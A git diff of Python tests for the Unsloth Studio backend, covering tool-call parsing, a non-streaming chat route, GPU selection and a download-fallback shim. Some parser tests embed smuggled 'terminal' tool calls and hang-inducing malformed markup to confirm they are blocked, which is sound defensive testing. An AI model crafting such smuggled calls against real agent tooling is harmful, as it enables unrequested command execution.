+    # Junk before the close is a malformed span: strip through it, keep the tail.
+    text = "pre <|tool_call>call:t{a:1} note <tool_call|> post"
+    assert strip_tool_call_markup(text) == "pre  post"
+    assert strip_tool_call_markup(text, final = True) == "pre  post"
+
+
+def test_malformed_closed_gemma_span_is_stripped():
+    assert (
+        strip_tool_call_markup('before <|tool_call>{"name":"x"}<tool_call|> after')
+        == "before  after"
+    )
+
+
+def test_valid_call_after_missing_close_is_recovered():
+    # A close-less call covers only its braces, so the later call is recovered.
+    text = "<|tool_call>call:a{x:1} <|tool_call>call:b{y:2}<tool_call|>"
+    names_inc = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = True)
+    ]
+    assert "b" in names_inc, names_inc
+    names_strict = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(text, allow_incomplete = False)
+    ]
+    assert names_strict == ["b"], names_strict
+
+
+def test_strip_non_final_keeps_incomplete_gemma_block():
+    text = "before <|tool_call>call:t{"
+    assert strip_tool_call_markup(text) == text
+    assert strip_tool_call_markup(text, final = True) == "before"
+
+
+def test_json_call_between_gemma_braces_and_close_does_not_execute():
+    # A JSON call between the outer's braces and its close is covered data.
+    text = (
+        "<|tool_call>call:outer{broken:{x}}"
+        '<tool_call>{"name":"terminal","arguments":{"command":"id"}}</tool_call>'
+        "<tool_call|>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_gemma_call_between_gemma_braces_and_close_does_not_execute():
+    # Same escape with a Gemma-native inner marker.
+    text = "<|tool_call>call:outer{broken:{x}}<|tool_call>call:terminal{command:id}<tool_call|><tool_call|>"
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert "terminal" not in [c["function"]["name"] for c in calls], calls
+
+
+def test_strip_final_keeps_text_after_closed_xml_with_inner_gemma_opener():
+    # The to-EOF Gemma sweep must not eat visible text after </function>.
+    text = (
+        'before <function=python><parameter=code>print("<|tool_call>")</parameter></function> after'
+    )
+    assert strip_tool_call_markup(text, final = True) == "before  after"
+    assert strip_tool_call_markup(text) == "before  after"
+
+
+def test_strip_final_keeps_text_after_closed_block_with_call_form_gemma_opener():
+    # A call-form Gemma opener quoted in a closed block must not truncate it.
+    xml = "<function=python><parameter=code><|tool_call>call:t{</parameter></function>"
+    json_block = (
+        '<tool_call>{"name":"python","arguments":{"code":"<|tool_call>call:t{"}}</tool_call>'
+    )
+    for block in (xml, json_block):
+        text = "before " + block + " after"
+        assert strip_tool_call_markup(text, final = True) == "before  after", block
+        assert strip_tool_call_markup(text) == "before  after", block
+
+
+def test_function_sibling_after_close_less_gemma_marker_is_recovered():
+    # The close-less marker covers only its braces; the XML sibling is recovered.
+    text = (
+        "<|tool_call>call:bad{broken:{x}} "
+        "<function=terminal><parameter=command>id</parameter></function>"
+    )
+    for allow_incomplete in (True, False):
+        calls = parse_tool_calls_from_text(text, allow_incomplete = allow_incomplete)
+        assert [c["function"]["name"] for c in calls] == ["terminal"], calls
+
+
+def test_valid_call_after_close_less_marker_with_quoted_close_token_is_recovered():
+    # A close token quoted in the later call must not extend the earlier
+    # close-less marker's coverage over that call.
+    gemma = '<|tool_call>call:a{x:1} <|tool_call>call:b{note:<|"|></tool_call><|"|>}<tool_call|>'
+    names = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(gemma, allow_incomplete = False)
+    ]
+    assert names == ["b"], names
+    json_text = (
+        '<tool_call>{"name":"a","arguments":{}} '
+        '<tool_call>{"name":"b","arguments":{"x":"</tool_call>"}}</tool_call>'
+    )
+    names_j = [
+        c["function"]["name"] for c in parse_tool_calls_from_text(json_text, allow_incomplete = False)
+    ]
+    assert "b" in names_j, names_j
+
+
+def test_gemma_parse_value_always_advances_on_stray_delimiter():
+    # A stray delimiter (`,`, `}`, `]`) at the primitive position must still advance the
+    # index by at least one, or a caller looping on it spins forever at 100% CPU (DoS).
+    for delim in (",", "}", "]"):
+        text = delim + "rest"
+        value, nxt, _explicit = _gemma_parse_value(text, 0)
+        assert nxt > 0, (delim, value, nxt)
+
+
+def test_malformed_gemma_array_does_not_hang():
+    # ``[},]`` puts a stray ``}`` at the primitive position inside a list body.
+    # On the buggy parser this hangs the server; guard with a wall-clock timeout
+    # so the regression fails loudly instead of blocking CI forever.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:[},]}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed array input"
+
+
+def test_malformed_gemma_mapping_value_does_not_hang():
+    # A stray ``}`` where a mapping value is expected must also terminate.
+    import threading
+
+    result: dict = {}
+
+    def _run():
+        result["calls"] = parse_tool_calls_from_text("<|tool_call>call:f{a:}},b:1}<tool_call|>")
+
+    t = threading.Thread(target = _run, daemon = True)
+    t.start()
+    t.join(timeout = 10.0)
+    assert not t.is_alive(), "parse_tool_calls_from_text hung on malformed mapping input"
diff --git a/studio/backend/tests/test_gguf_tool_non_streaming.py b/studio/backend/tests/test_gguf_tool_non_streaming.py
new file mode 100644
index 0000000000..d9044824cb
--- /dev/null
+++ b/studio/backend/tests/test_gguf_tool_non_streaming.py
@@ -0,0 +1,172 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Regression tests for `stream:false` on the GGUF agentic tool path (#6570).
+
+When server-side tools are enabled (e.g. `unsloth studio run --model ...`,
+which forces the tool policy on process-wide), a plain chat request used to be
+routed into the tool loop, which returned an SSE body *regardless* of
+`stream:false` -- breaking non-streaming clients and health checks like
+LiteLLM. These tests drive the real route with a fake tool-capable backend and
+assert the non-streaming path now returns a single JSON `chat.completion`,
+while `stream:true` still streams.
+"""
+
+from fastapi import FastAPI
+from fastapi.testclient import TestClient
+
+from auth.authentication import get_current_subject
+import routes.inference as inference_route
+
+
+class _ToolGgufBackend:
+    is_loaded = True
+    model_identifier = "test/model.gguf"
+    _is_audio = False
+    is_vision = False
+    supports_tools = True
+
+    def generate_chat_completion_with_tools(self, **kwargs):
+        # The agentic loop runs one tool, then the model answers. Event shapes
+        # mirror the real GGUF loop (tool_start/tool_end/content/metadata).
+        yield {
+            "type": "tool_start",
+            "tool_name": "python",
+            "tool_call_id": "call_1",
+            "arguments": {"code": "print(6 * 7)"},
+        }
+        yield {
+            "type": "tool_end",
+            "tool_name": "python",
+            "tool_call_id": "call_1",
+            "result": "42\n",
+        }
+        yield {"type": "content", "text": "The answer is 42."}
+        yield {
+            "type": "metadata",
+            "usage": {"prompt_tokens": 11, "completion_tokens": 5, "total_tokens": 16},
+            "timings": {"prompt_n": 11, "predicted_n": 5},
+            "finish_reason": "stop",
+        }
+
+
+def _client(monkeypatch, backend = None):
+    monkeypatch.setattr(
+        inference_route, "get_llama_cpp_backend", lambda: backend or _ToolGgufBackend()
+    )
+    # Tools forced on -- the same effect as the CLI `run --model` tool policy.
+    monkeypatch.setattr(inference_route, "_effective_enable_tools", lambda payload: True)
+
+    async def _fake_select(payload, **_kwargs):
+        return [{"type": "function", "function": {"name": "python"}}]
+
+    monkeypatch.setattr(inference_route, "_select_request_tools", _fake_select)
+
+    app = FastAPI()
+    app.include_router(inference_route.router)
+    app.dependency_overrides[get_current_subject] = lambda: "test-user"
+    return TestClient(app)
+
+
+def _payload(stream: bool):
+    return {
+        "messages": [{"role": "user", "content": "What is 6 * 7? Use python."}],
+        "stream": stream,
+        "enable_tools": True,
+    }
+
+
+def test_non_streaming_tool_call_returns_single_json(monkeypatch):
+    response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = False))
+
+    assert response.status_code == 200
+    # The bug returned text/event-stream here; it must be a single JSON object.
+    assert response.headers["content-type"].startswith("application/json")
+
+    body = response.json()
+    assert body["object"] == "chat.completion"
+    choice = body["choices"][0]
+    assert choice["message"]["content"] == "The answer is 42."
+    assert choice["finish_reason"] == "stop"
+    assert body["usage"]["prompt_tokens"] == 11
+    assert body["usage"]["completion_tokens"] == 5
+    assert body["usage"]["total_tokens"] == 16
+
+
+def test_streaming_tool_call_still_streams(monkeypatch):
+    # The parallel path is untouched: stream:true keeps returning SSE.
+    response = _client(monkeypatch).post("/chat/completions", json = _payload(stream = True))
+
+    assert response.status_code == 200
+    assert response.headers["content-type"].startswith("text/event-stream")
+    assert "The answer is 42." in response.text
+    assert "data: [DONE]" in response.text
+
+
+class _EventsBackend(_ToolGgufBackend):
+    """Tool backend that yields a caller-supplied event list."""
+
+    def __init__(self, events):
+        self._events = events
+
+    def generate_chat_completion_with_tools(self, **kwargs):
+        yield from self._events
+
+
+def test_non_streaming_missing_usage_defaults_to_zero(monkeypatch):
+    # No metadata event at all: usage zero-defaults and finish_reason falls back.
+    events = [{"type": "content", "text": "hi"}]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    body = response.json()
+    assert body["choices"][0]["message"]["content"] == "hi"
+    assert body["choices"][0]["finish_reason"] == "stop"
+    assert body["usage"]["prompt_tokens"] == 0
+    assert body["usage"]["completion_tokens"] == 0
+    assert body["usage"]["total_tokens"] == 0
+
+
+def test_non_streaming_preserves_length_finish_reason(monkeypatch):
+    events = [
+        {"type": "content", "text": "truncated"},
+        {
+            "type": "metadata",
+            "usage": {"prompt_tokens": 3, "completion_tokens": 9},
+            "finish_reason": "length",
+        },
+    ]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    body = response.json()
+    assert body["choices"][0]["finish_reason"] == "length"
+    # total_tokens is derived when the server omits it.
+    assert body["usage"]["total_tokens"] == 12
+
+
+def test_non_streaming_preserves_cached_tokens(monkeypatch):
+    # KV-cache hit details from the metadata event must survive into the body
+    # (the tool path used to drop them and always report cached_tokens=0).
+    events = [
+        {"type": "content", "text": "hi"},
+        {
+            "type": "metadata",
+            "usage": {
+                "prompt_tokens": 20,
+                "completion_tokens": 4,
+                "prompt_tokens_details": {"cached_tokens": 16},
+            },
+            "finish_reason": "stop",
+        },
+    ]
+    response = _client(monkeypatch, _EventsBackend(events)).post(
+        "/chat/completions", json = _payload(stream = False)
+    )
+
+    assert response.status_code == 200
+    assert response.json()["usage"]["prompt_tokens_details"]["cached_tokens"] == 16
diff --git a/studio/backend/tests/test_gpu_selection.py b/studio/backend/tests/test_gpu_selection.py
index d96f88e4a6..69ad560788 100644
--- a/studio/backend/tests/test_gpu_selection.py
+++ b/studio/backend/tests/test_gpu_selection.py
@@ -5,9 +5,11 @@ import asyncio
 import importlib.util
 import os
 import re
+import sys
 import unittest
+from contextlib import nullcontext
 from pathlib import Path
-from types import SimpleNamespace
+from types import ModuleType, SimpleNamespace
 from unittest.mock import patch
 
 from fastapi import HTTPException
@@ -22,6 +24,7 @@ from utils.hardware import (
     estimate_required_model_memory_gb,
     get_backend_visible_gpu_info,
     get_device_map,
+    get_gpu_utilization,
     get_offloaded_device_map_entries,
     get_parent_visible_gpu_ids,
     get_visible_gpu_utilization,
@@ -33,6 +36,24 @@ import utils.hardware.hardware as _hw_module
 _BACKEND_ROOT = Path(__file__).resolve().parent.parent
 
 
+async def _inline_to_thread(func, /, *args, **kwargs):
+    return func(*args, **kwargs)
+
+
+def _fake_unsloth_attention_modules(resolver):
+    unsloth_module = ModuleType("unsloth")
+    models_module = ModuleType("unsloth.models")
+    utils_module = ModuleType("unsloth.models._utils")
+    utils_module.resolve_attention_implementation = resolver
+    models_module._utils = utils_module
+    unsloth_module.models = models_module
+    return {
+        "unsloth": unsloth_module,
+        "unsloth.models": models_module,
+        "unsloth.models._utils": utils_module,
+    }
+
+
 def _load_route_module(name: str, relative_path: str):
     spec = importlib.util.spec_from_file_location(name, _BACKEND_ROOT / relative_path)
     module = importlib.util.module_from_spec(spec)
@@ -122,6 +143,139 @@ class TestResolveRequestedGpuIds(_GpuCacheResetMixin, unittest.TestCase):
 
 
 class TestVisibleGpuUtilization(_GpuCacheResetMixin, unittest.TestCase):
+    def test_gpu_utilization_preserves_primary_shape_with_devices(self):
+        devices = [
+            {
+                "index": 5,
+                "visible_ordinal": 0,
+                "gpu_utilization_pct": 11.0,
+                "temperature_c": 40.0,
+                "vram_used_gb": 4.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 16.7,
+                "power_draw_w": 80.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 26.7,
+            },
+            {
+                "index": 3,
+                "visible_ordinal": 1,
+                "gpu_utilization_pct": 22.0,
+                "temperature_c": 50.0,
+                "vram_used_gb": 8.0,
+                "vram_total_gb": 24.0,
+                "vram_utilization_pct": 33.3,
+                "power_draw_w": 120.0,
+                "power_limit_w": 300.0,
+                "power_utilization_pct": 40.0,
+            },
+        ]
+
+        with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
+            patch.object(_hw_module, "IS_ROCM", False),
+            patch(
+                "utils.hardware.hardware._get_parent_visible_gpu_spec",
+                return_value = {"raw": "5,3", "numeric_ids": [5, 3]},
+            ),
+            patch(
+                "utils.hardware.hardware._smi_query",
+                return_value = {
+                    "available": True,
+                    "devices": devices,
+                    "backend_cuda_visible_devices": "5,3",
+                    "parent_visible_gpu_ids": [5, 3],
+                    "index_kind": "physical",
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertIsInstance(result, dict)
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "cuda")
+        self.assertEqual(result["index"], 5)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual(result["vram_total_gb"], 24.0)
+        self.assertEqual(result["parent_visible_gpu_ids"], [5, 3])
+        self.assertEqual([device["index"] for device in result["devices"]], [5, 3])
+
+    def test_gpu_utilization_cpu_returns_legacy_unavailable_object(self):
+        with patch("utils.hardware.hardware.get_device", return_value = DeviceType.CPU):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result, {"available": False, "backend": "cpu", "devices": []})
+
+    def test_gpu_utilization_mlx_stays_available_without_agx_stats(self):
+        fake_psutil = ModuleType("psutil")
+        fake_psutil.virtual_memory = lambda: SimpleNamespace(total = 64 * 1024**3)
+
+        with (
+            patch.dict(sys.modules, {"psutil": fake_psutil}),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.MLX),
+            patch("utils.hardware.hardware._read_apple_gpu_stats", return_value = {}),
+            patch(
+                "core.training.get_training_backend",
+                return_value = SimpleNamespace(_progress = None),
+            ),
+            patch("utils.hardware.apple.read_gpu_temperature_c", return_value = None),
+            patch("utils.hardware.apple.read_gpu_power_w", return_value = None),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertTrue(result["available"])
+        self.assertEqual(result["backend"], "mlx")
+        self.assertIsNone(result["gpu_utilization_pct"])
+        self.assertEqual(result["vram_used_gb"], 0)
+        self.assertEqual(result["vram_total_gb"], 64.0)
+        self.assertEqual(len(result["devices"]), 1)
+
+    def test_gpu_utilization_xpu_uses_visible_devices(self):
+        with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.XPU),
+            patch(
+                "utils.hardware.hardware.get_visible_gpu_utilization",
+                return_value = {
+                    "available": True,
+                    "backend": "xpu",
+                    "parent_visible_gpu_ids": [2, 0],
+                    "index_kind": "physical",
+                    "devices": [
+                        {
+                            "index": 2,
+                            "visible_ordinal": 1,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 3.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 18.8,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                        {
+                            "index": 0,
+                            "visible_ordinal": 0,
+                            "gpu_utilization_pct": None,
+                            "temperature_c": None,
+                            "vram_used_gb": 1.0,
+                            "vram_total_gb": 16.0,
+                            "vram_utilization_pct": 6.3,
+                            "power_draw_w": None,
+                            "power_limit_w": None,
+                            "power_utilization_pct": None,
+                        },
+                    ],
+                },
+            ),
+        ):
+            result = get_gpu_utilization()
+
+        self.assertEqual(result["backend"], "xpu")
+        self.assertEqual(result["index"], 0)
+        self.assertEqual(result["visible_ordinal"], 0)
+        self.assertEqual([device["index"] for device in result["devices"]], [0, 2])
+
     def test_visible_gpu_utilization_filters_to_parent_visible_ids(self):
         smi_output = "\n".join(
             [
@@ -272,6 +426,14 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_get_offloaded_device_map_entries_handles_models_without_device_map(self):
         self.assertEqual(get_offloaded_device_map_entries(SimpleNamespace()), {})
 
+    @patch(
+        "utils.hardware.hardware._resolve_model_identifier_for_gpu_estimate",
+        new = lambda model_name, **_: model_name,
+    )
+    @patch(
+        "utils.hardware.hardware._load_config_for_gpu_estimate",
+        new = lambda *_args, **_kwargs: None,
+    )
     def test_estimate_required_memory_formulas(self):
         eight_gb = 8 * (1024**3)
 
@@ -432,6 +594,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
 
     def test_prepare_gpu_selection_preserves_explicit_ids_without_auto_selection(self):
         with (
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.resolve_requested_gpu_ids",
                 return_value = [2, 3],
@@ -464,6 +627,7 @@ class TestGpuAutoSelection(_GpuCacheResetMixin, unittest.TestCase):
     def test_prepare_gpu_selection_preserves_uuid_parent_visibility_in_auto_mode(self):
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "utils.hardware.hardware.estimate_required_model_memory_gb",
                 return_value = (
@@ -582,6 +746,7 @@ class TestPreSpawnGpuResolution(_GpuCacheResetMixin, unittest.TestCase):
 
         with (
             patch.dict(os.environ, {"CUDA_VISIBLE_DEVICES": "GPU-aaa,GPU-bbb"}, clear = True),
+            patch("utils.hardware.hardware.get_device", return_value = DeviceType.CUDA),
             patch(
                 "core.training.training._CTX.Queue",
                 side_effect = [dummy_queue, dummy_queue],
@@ -709,14 +874,23 @@ class TestRouteErrors(unittest.TestCase):
             has_audio_input = False,
         )
 
-        with patch.object(
-            inference_route.ModelConfig,
-            "from_identifier",
-            return_value = model_config,
+        with (
+            patch.object(
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
+            ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -835,9 +1009,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -849,6 +1023,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -856,7 +1037,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -899,9 +1080,9 @@ class TestRouteErrors(unittest.TestCase):
 
         with (
             patch.object(
-                inference_route.ModelConfig,
-                "from_identifier",
-                return_value = model_config,
+                inference_route,
+                "ModelConfig",
+                SimpleNamespace(from_identifier = lambda **_kwargs: model_config),
             ),
             patch.object(
                 inference_route,
@@ -913,6 +1094,13 @@ class TestRouteErrors(unittest.TestCase):
                 "get_llama_cpp_backend",
                 return_value = SimpleNamespace(is_loaded = False),
             ),
+            patch.object(
+                inference_route,
+                "_guard_chat_load_against_training",
+                return_value = None,
+            ),
+            patch.object(inference_route.asyncio, "to_thread", new = _inline_to_thread),
+            patch.object(inference_route, "_hf_offline_if_dns_dead", nullcontext),
             patch(
                 "core.export.get_export_backend",
                 return_value = SimpleNamespace(current_checkpoint = None),
@@ -920,7 +1108,7 @@ class TestRouteErrors(unittest.TestCase):
         ):
             with self.assertRaises(HTTPException) as exc_info:
                 asyncio.run(
-                    inference_route.load_model(
+                    inference_route._load_model_impl(
                         request,
                         SimpleNamespace(
                             app = SimpleNamespace(
@@ -1102,10 +1290,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
             cfg._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
@@ -1133,10 +1318,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
         with (
             patch.object(AutoModelForCausalLM, "_model_mapping", new = None),
             patch.object(AutoModel, "_model_mapping", new = None),
-            patch(
-                "unsloth.models._utils.resolve_attention_implementation",
-                side_effect = _stub_resolver,
-            ),
+            patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)),
         ):
             result = hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
@@ -1173,10 +1355,7 @@ class TestPerGpuFitGuardAllCounts(unittest.TestCase):
                 inner._attn_implementation = "eager"
             return "eager"
 
-        with patch(
-            "unsloth.models._utils.resolve_attention_implementation",
-            side_effect = _stub_resolver,
-        ):
+        with patch.dict(sys.modules, _fake_unsloth_attention_modules(_stub_resolver)):
             hardware_module._determine_attention_impl_for_gpu_estimate(config)
 
         self.assertFalse(hasattr(config, "_attn_implementation"))
diff --git a/studio/backend/tests/test_hf_xet_fallback.py b/studio/backend/tests/test_hf_xet_fallback.py
index 39ecebd328..4d73213d15 100644
--- a/studio/backend/tests/test_hf_xet_fallback.py
+++ b/studio/backend/tests/test_hf_xet_fallback.py
@@ -1,18 +1,16 @@
 # SPDX-License-Identifier: AGPL-3.0-only
 # Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
 
-"""Unit tests for utils.hf_xet_fallback: the no-progress watchdog, the Xet->HTTP
-transport policy, and the HF_HUB_DISABLE_XET precondition the fallback rests on.
-CPU-only, no network, no real subprocess (the per-attempt download seam is
-monkeypatched).
+"""Tests for the Studio shim over the shared unsloth_zoo Xet -> HTTP fallback.
+
+The transport-policy matrix is tested once in unsloth_zoo; here we assert only the
+Studio seam: re-exporting the shared API and injecting the marker-aware
+prepare_cache_for_transport on the HTTP retry. CPU-only, no network, no real subprocess.
 """
 
 from __future__ import annotations
 
-import subprocess
 import sys
-import threading
-import time
 import types as _types
 from pathlib import Path
 
@@ -22,9 +20,8 @@ _BACKEND_DIR = str(Path(__file__).resolve().parent.parent)
 if _BACKEND_DIR not in sys.path:
     sys.path.insert(0, _BACKEND_DIR)
 
-# Stub heavy/unavailable deps before importing the module under test. Use the
-# real structlog when present; a bare stub left in sys.modules would break later
-# modules that log at import time.
+# Stub heavy/unavailable deps before importing the module under test. Use real structlog when present;
+# a bare stub would break later modules that log at import time.
 _loggers_stub = _types.ModuleType("loggers")
 _loggers_stub.get_logger = lambda name: __import__("logging").getLogger(name)
 sys.modules.setdefault("loggers", _loggers_stub)
@@ -34,171 +31,59 @@ except ImportError:
     sys.modules["structlog"] = _types.ModuleType("structlog")
 
 import huggingface_hub
-from huggingface_hub import constants as hf_constants
+
+try:
+    import unsloth_zoo.hf_xet_fallback as _shared_mod
+    shared = _shared_mod
+except Exception:  # noqa: BLE001 - still collect degraded-path tests when unsloth_zoo is unavailable
+    shared = None
 
 import utils.hf_xet_fallback as xf
 
 
-# --------------------------------------------------------------------------- #
-# Watchdog: fires only on a constant-size .incomplete, sparse-aware byte total.
-# --------------------------------------------------------------------------- #
-REPO = "ztest/xet-watchdog"
-
-
-@pytest.fixture
-def hf_cache(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path))
-    return tmp_path
-
-
-def _blobs_dir(root: Path, repo_id: str = REPO) -> Path:
-    d = root / f"models--{repo_id.replace('/', '--')}" / "blobs"
-    d.mkdir(parents = True, exist_ok = True)
-    return d
-
-
-def _wait(
-    predicate,
-    timeout: float = 2.0,
-    step: float = 0.02,
-) -> bool:
-    deadline = time.monotonic() + timeout
-    while time.monotonic() < deadline:
-        if predicate():
-            return True
-        time.sleep(step)
-    return predicate()
-
-
-def test_constant_incomplete_fires_stall(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "deadbeef.incomplete").write_bytes(b"\0" * 1024)  # never grows
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        assert _wait(
-            lambda: len(calls) >= 1, timeout = 3.0
-        ), "watchdog never fired on a constant-size .incomplete"
-    finally:
-        stop.set()
-    assert "stalled" in calls[0].lower()
-
-
-def test_growing_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    part = blobs / "growing.incomplete"
-    part.write_bytes(b"\0" * 1024)
-
-    grow_stop = threading.Event()
-
-    def _grow():
-        size = 1024
-        while not grow_stop.wait(0.05):
-            size += 4096
-            part.write_bytes(b"\0" * size)
-
-    grower = threading.Thread(target = _grow, daemon = True)
-    grower.start()
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(1.0)  # well past stall_timeout, but bytes keep growing
-        assert calls == [], "watchdog fired despite continuous progress"
-    finally:
-        stop.set()
-        grow_stop.set()
-
-
-def test_no_incomplete_never_stalls(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "finalized_blob").write_bytes(b"\0" * 4096)  # no .incomplete
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.3
-    )
-    try:
-        time.sleep(0.8)
-        assert calls == [], "watchdog fired with no active .incomplete"
-    finally:
-        stop.set()
-
-
-def test_stall_fires_at_most_once(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    (blobs / "frozen.incomplete").write_bytes(b"\0" * 2048)
-
-    calls: list[str] = []
-    stop = xf.start_watchdog(
-        repo_ids = [REPO], on_stall = calls.append, interval = 0.05, stall_timeout = 0.2
-    )
-    try:
-        assert _wait(lambda: len(calls) >= 1, timeout = 3.0)
-        time.sleep(0.6)  # keep ticking; must not fire again
-        assert len(calls) == 1, f"on_stall fired {len(calls)} times, expected exactly 1"
-    finally:
-        stop.set()
-
-
-def test_get_state_empty_cache(hf_cache):
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_absent_cache_root(tmp_path, monkeypatch):
-    monkeypatch.setattr(hf_constants, "HF_HUB_CACHE", str(tmp_path / "no-such-cache"))
-    assert xf.get_hf_download_state([REPO]) == (0, False)
-
-
-def test_get_state_skips_local_paths(hf_cache):
-    # Filesystem paths are not HF repo IDs and must be ignored without error.
-    assert xf.get_hf_download_state(["/abs/path", "./rel", "~user", "c:\\x"]) == (0, False)
-
-
-def test_get_state_sparse_aware(hf_cache):
-    blobs = _blobs_dir(hf_cache)
-    sparse = blobs / "sparse.incomplete"
-    with open(sparse, "wb") as f:
-        f.truncate(64 * 1024 * 1024)  # large apparent size, few allocated blocks
-    st = sparse.stat()
-    if getattr(st, "st_blocks", 0) == 0:
-        pytest.skip("filesystem does not report st_blocks; sparse accounting unavailable")
-    total, has_incomplete = xf.get_hf_download_state([REPO])
-    assert has_incomplete is True
-    assert total < st.st_size, "sparse partial counted at apparent size, not allocated blocks"
-
-
-# --------------------------------------------------------------------------- #
-# Transport policy: cached short-circuit, cancel, error propagation, and the
-# single Xet->HTTP fallback. _run_download_attempt is faked, so no real spawn.
-# --------------------------------------------------------------------------- #
 DL_REPO, FILE = "ztest/xet-dl", "model-Q4_K_XL.gguf"
 
 
-@pytest.fixture(autouse = True)
-def _no_real_cache_hit(monkeypatch):
-    """Default: the cached probe misses; tests override it to force a hit."""
+def _requires_shared():
+    if shared is None:
+        pytest.skip("unsloth_zoo.hf_xet_fallback is not installed in this environment")
+
+
+def test_shim_reexports_shared_api():
+    _requires_shared()
+    assert xf.DownloadStallError is shared.DownloadStallError
+    for name in (
+        "start_watchdog",
+        "get_hf_download_state",
+        "child_should_disable_xet",
+        "hf_hub_download_with_xet_fallback",
+        "snapshot_download_with_xet_fallback",
+    ):
+        assert hasattr(xf, name), f"shim missing {name}"
+
+
+def test_child_should_disable_xet_truth_table():
+    assert xf.child_should_disable_xet({"disable_xet": True}) is True
